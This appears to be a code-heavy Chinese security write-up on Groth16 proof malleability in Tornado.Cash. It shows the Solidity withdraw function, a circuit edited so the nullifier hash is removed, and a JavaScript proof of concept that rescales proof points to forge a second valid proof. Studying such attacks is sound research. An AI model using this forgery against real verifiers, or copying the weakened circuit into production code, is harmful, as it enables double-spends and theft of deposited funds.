深入探究 Tornado.Cash 揭示zkp项目的延展性攻击

/**    @dev Withdraw a deposit from the contract. `proof` is a zkSNARK proof data, and input is an array of circuit public inputs    `input` array consists of:      - merkle root of all deposits in the contract      - hash of unique deposit nullifier to prevent double spends      - the recipient of funds      - optional fee that goes to the transaction sender (usually a relay)  */  function withdraw(    bytes calldata _proof,    bytes32 _root,    bytes32 _nullifierHash,    address payable _recipient,    address payable _relayer,    uint256 _fee,    uint256 _refund  ) external payable nonReentrant {    require(_fee <= denomination, "Fee exceeds transfer value");    require(!nullifierHashes[_nullifierHash], "The note has been already spent");    require(isKnownRoot(_root), "Cannot find your merkle root"); // Make sure to use a recent one    require(      verifier.verifyProof(        _proof,        [uint256(_root), uint256(_nullifierHash), uint256(_recipient), uint256(_relayer), _fee, _refund]      ),      "Invalid withdraw proof"    );
    nullifierHashes[_nullifierHash] = true;    _processWithdraw(_recipient, _relayer, _fee, _refund);    emit Withdrawal(_recipient, _nullifierHash, _relayer, _fee);  }

include "../../../../node_modules/circomlib/circuits/bitify.circom";  include "../../../../node_modules/circomlib/circuits/pedersen.circom";
// computes Pedersen(nullifier + secret)template CommitmentHasher() {    signal input nullifier;    signal input secret;    signal output commitment;    // signal output nullifierHash;   // delete
    component commitmentHasher = Pedersen(496);    // component nullifierHasher = Pedersen(248);    component nullifierBits = Num2Bits(248);    component secretBits = Num2Bits(248);
    nullifierBits.in <== nullifier;    secretBits.in <== secret;    for (var i = 0; i < 248; i++) {        // nullifierHasher.in[i] <== nullifierBits.out[i];  // delete        commitmentHasher.in[i] <== nullifierBits.out[i];        commitmentHasher.in[i + 248] <== secretBits.out[i];    }
    commitment <== commitmentHasher.out[0];    // nullifierHash <== nullifierHasher.out[0];   // delete}
// Verifies that commitment that corresponds to given secret and nullifier is included in the merkle tree of deposits    signal output commitment;    signal input recipient; // not taking part in any computations    signal input relayer;  // not taking part in any computations    signal input fee;      // not taking part in any computations    signal input refund;   // not taking part in any computations    signal input nullifier;    signal input secret;    component hasher = CommitmentHasher();    hasher.nullifier <== nullifier;    hasher.secret <== secret;    commitment <== hasher.commitment;
    // Add hidden signals to make sure that tampering with recipient or fee will invalidate the snark proof    // Most likely it is not required, but it's better to stay on the safe side and it only takes 2 constraints    // Squares are used to prevent optimizer from removing those constraints    signal recipientSquare;    signal feeSquare;    signal relayerSquare;    signal refundSquare;
    recipientSquare <== recipient * recipient;    feeSquare <== fee * fee;    relayerSquare <== relayer * relayer;    refundSquare <== refund * refund;
}
component main = Withdraw(20);

The proof: {  pi_a: [    12731245758885665844440940942625335911548255472545721927606279036884288780352n,    11029567045033340566548367893304052946457319632960669053932271922876268005970n,    1n  ],  pi_b: [    [      4424670283556465622197187546754094667837383166479615474515182183878046002081n,      8088104569927474555610665242983621221932062943927262293572649061565902268616n    ],    [      9194248463115986940359811988096155965376840166464829609545491502209803154186n,      18373139073981696655136870665800393986130876498128887091087060068369811557306n    ],    [ 1n, 0n ]  ],  pi_c: [    1626407734863381433630916916203225704171957179582436403191883565668143772631n,    10375204902125491773178253544576299821079735144068419595539416984653646546215n,    1n  ],  protocol: 'groth16',  curve: 'bn128'}

import WasmCurve from "//cdn.bibaidu.cn/Users/saya/node_modules/ffjavascript/src/wasm_curve.js"import ZqField from "//cdn.bibaidu.cn/Users/saya/node_modules/ffjavascript/src/f1field.js"import groth16FullProve from "//cdn.bibaidu.cn/Users/saya/node_modules/snarkjs/src/groth16_fullprove.js"import groth16Verify from "//cdn.bibaidu.cn/Users/saya/node_modules/snarkjs/src/groth16_verify.js";import * as curves from "//cdn.bibaidu.cn/Users/saya/node_modules/snarkjs/src/curves.js";import fs from "fs";import {  utils }   from "ffjavascript";const {unstringifyBigInts} = utils;
groth16_exp();async function groth16_exp(){    let inputA = "7";    let inputB = "11";    const SNARK_FIELD_SIZE = BigInt('21888242871839275222246405745257275088548364400416034343698204186575808495617');
    // 2. 读取string后转化为int    const proof = await unstringifyBigInts(JSON.parse(fs.readFileSync("proof.json","utf8")));    console.log("The proof:",proof);
    // 生成逆元，生成的逆元必须在F1域    const F = new ZqField(SNARK_FIELD_SIZE);    // const F = new F2Field(SNARK_FIELD_SIZE);    const X = F.e("123456")    const invX = F.inv(X)    console.log("x:" ,X )    console.log("invX" ,invX)    console.log("The timesScalar is:",F.mul(X,invX))
    // 读取椭圆曲线G1、G2点     const vKey = JSON.parse(fs.readFileSync("verification_key.json","utf8"));    // console.log("The curve is:",vKey);    const curve = await curves.getCurveFromName(vKey.curve);
    const G1 = curve.G1;    const G2 = curve.G2;    const A = G1.fromObject(proof.pi_a);    const B = G2.fromObject(proof.pi_b);    const C = G1.fromObject(proof.pi_c);
    const new_pi_a = G1.timesScalar(A, X);  //A'=x*A    const new_pi_b = G2.timesScalar(B, invX);  //B'=x^{-1}*B
    proof.pi_a = G1.toObject(G1.toAffine(A));    proof.new_pi_a = G1.toObject(G1.toAffine(new_pi_a))    proof.new_pi_b = G2.toObject(G2.toAffine(new_pi_b))
    // 将生成的G1、G2点转化为proof    console.log("proof.pi_a:",proof.pi_a);    console.log("proof.new_pi_a:",proof.new_pi_a)    console.log("proof.new_pi_b:",proof.new_pi_b)
}